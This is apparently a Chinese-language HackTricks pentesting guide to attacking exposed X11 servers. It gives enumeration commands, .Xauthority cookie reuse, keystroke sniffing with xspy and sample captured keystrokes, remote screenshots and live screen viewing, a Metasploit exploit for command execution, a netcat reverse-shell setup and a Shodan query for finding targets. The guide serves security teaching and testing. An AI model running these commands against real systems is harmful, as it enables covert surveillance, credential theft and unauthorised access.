2023-12-29 16:51:45 +00:00
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# 6000 - Pentesting X11
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2022-04-28 16:01:33 +00:00
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<details>
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2024-02-09 12:48:25 +00:00
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<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
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2022-04-28 16:01:33 +00:00
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2024-02-09 12:48:25 +00:00
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其他支持HackTricks的方式:
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* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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2022-04-28 16:01:33 +00:00
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</details>
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2023-12-29 16:51:45 +00:00
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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2023-02-27 09:28:45 +00:00
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2024-02-09 12:48:25 +00:00
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加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
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2023-02-27 09:28:45 +00:00
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2024-02-09 12:48:25 +00:00
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**黑客见解**\
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参与深入探讨黑客的刺激和挑战的内容
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2023-02-27 09:28:45 +00:00
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2023-12-29 16:51:45 +00:00
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**实时黑客新闻**\
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2024-02-09 12:48:25 +00:00
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通过实时新闻和见解及时了解快节奏的黑客世界
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2023-07-14 15:03:41 +00:00
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2023-12-29 16:51:45 +00:00
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**最新公告**\
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2024-02-09 12:48:25 +00:00
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了解最新的赏金计划发布和重要平台更新
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2023-07-14 15:03:41 +00:00
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2024-02-09 12:48:25 +00:00
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**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
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2022-11-05 09:07:43 +00:00
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2023-08-03 19:12:22 +00:00
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## 基本信息
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2020-07-15 15:43:14 +00:00
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**X Window系统**(X)是一种多功能窗口系统,在基于UNIX的操作系统中广泛使用。它提供了一个框架,用于创建图形**用户界面(GUI)**,各个程序处理用户界面设计。这种灵活性允许在X环境中获得多样化和可定制的体验。
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2020-07-15 15:43:14 +00:00
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2023-12-29 16:51:45 +00:00
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**默认端口:** 6000
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```
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2020-07-15 15:43:14 +00:00
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PORT STATE SERVICE
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6000/tcp open X11
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```
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## 枚举
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2020-07-15 15:43:14 +00:00
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检查**匿名连接:**
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```bash
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nmap -sV --script x11-access -p <PORT> <IP>
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msf> use auxiliary/scanner/x11/open_x11
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```
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#### 本地枚举
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用户主目录中的文件 **`.Xauthority`** 被 **X11 用于授权**。来自 [**这里**](https://stackoverflow.com/a/37367518):
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```bash
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$ xxd ~/.Xauthority
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00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
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00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
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00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
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00000030: 041d ef ...
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```
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> MIT-magic-cookie-1: 生成128位密钥(“cookie”),将其存储在\~/.Xauthority(或XAUTHORITY环境变量指向的位置)。客户端以明文形式将其发送到服务器!服务器检查是否有此“cookie”的副本,如果有,则允许连接。密钥由DMX生成。
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2023-04-07 00:41:31 +00:00
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{% hint style="warning" %}
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为了**使用cookie**,您应该设置环境变量:**`export XAUTHORITY=/path/to/.Xauthority`**
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{% endhint %}
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2023-12-29 16:51:45 +00:00
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#### 本地枚举会话
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```bash
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$ w
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23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
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USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
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user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
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```
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## 验证连接
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```bash
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xdpyinfo -display <ip>:<display>
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xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
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```
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2023-08-03 19:12:22 +00:00
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## 键盘记录
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使用[xspy](http://tools.kali.org/sniffingspoofing/xspy)来嗅探键盘按键。
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示例输出:
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```
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xspy 10.9.xx.xx
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opened 10.9.xx.xx:0 for snoopng
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swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
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qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
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```
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## 截图捕获
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```bash
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xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
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convert screenshot.xwd screenshot.png
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```
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## 远程桌面查看
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2024-02-09 12:48:25 +00:00
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来源:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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2023-08-03 19:12:22 +00:00
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```
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./xrdp.py <IP:0>
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```
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2024-02-09 12:48:25 +00:00
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从:[https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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2023-08-03 19:12:22 +00:00
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首先,我们需要使用 xwininfo 命令来查找窗口的 ID。
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```
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xwininfo -root -display 10.9.xx.xx:0
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xwininfo: Window id: 0x45 (the root window) (has no name)
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Absolute upper-left X: 0
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Absolute upper-left Y: 0
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Relative upper-left X: 0
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Relative upper-left Y: 0
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Width: 1024
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Height: 768
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Depth: 16
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Visual: 0x21
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Visual Class: TrueColor
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Border width: 0
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Class: InputOutput
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Colormap: 0x20 (installed)
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Bit Gravity State: ForgetGravity
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Window Gravity State: NorthWestGravity
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Backing Store State: NotUseful
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Save Under State: no
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Map State: IsViewable
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Override Redirect State: no
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Corners: +0+0 -0+0 -0-0 +0-0
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-geometry 1024x768+0+0
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```
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**XWatchwin**
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2023-08-03 19:12:22 +00:00
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对于**实时查看**,我们需要使用
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2020-07-15 15:43:14 +00:00
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```bash
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./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
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./xwatchwin 10.9.xx.xx:0 -w 0x45
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```
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2023-08-03 19:12:22 +00:00
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## 获取Shell
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```
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2020-07-15 15:43:14 +00:00
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msf> use exploit/unix/x11/x11_keyboard_exec
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```
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2024-02-09 12:48:25 +00:00
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**反向Shell:** Xrdp还允许通过Netcat获取反向shell。键入以下命令:
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```bash
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./xrdp.py \<IP:0> –no-disp
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```
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在界面中,您可以看到**R-shell选项**。
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然后,在本地系统上的端口5555上启动一个**Netcat监听器**。
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```bash
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nc -lvp 5555
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```
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然后,在**R-Shell**选项中放入您的IP地址和端口,然后点击**R-shell**以获取shell
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2020-07-15 15:43:14 +00:00
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2024-02-09 12:48:25 +00:00
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## 参考资料
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* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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2020-09-24 20:01:29 +00:00
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2023-03-05 19:54:13 +00:00
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## Shodan
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2020-09-24 20:01:29 +00:00
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* `port:6000 x11`
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2022-04-28 16:01:33 +00:00
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2023-12-29 16:51:45 +00:00
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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2023-07-14 15:03:41 +00:00
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2024-02-09 12:48:25 +00:00
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加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
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2022-11-05 09:07:43 +00:00
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2024-02-09 12:48:25 +00:00
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**黑客见解**\
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参与深入探讨黑客行为的刺激和挑战的内容
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2023-02-27 09:28:45 +00:00
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2023-12-29 16:51:45 +00:00
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**实时黑客新闻**\
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2024-02-09 12:48:25 +00:00
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通过实时新闻和见解了解快节奏的黑客世界
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2023-02-27 09:28:45 +00:00
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2023-12-29 16:51:45 +00:00
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**最新公告**\
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2024-02-09 12:48:25 +00:00
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了解最新的赏金计划发布和重要平台更新
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2023-02-27 09:28:45 +00:00
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2023-12-29 16:51:45 +00:00
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**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
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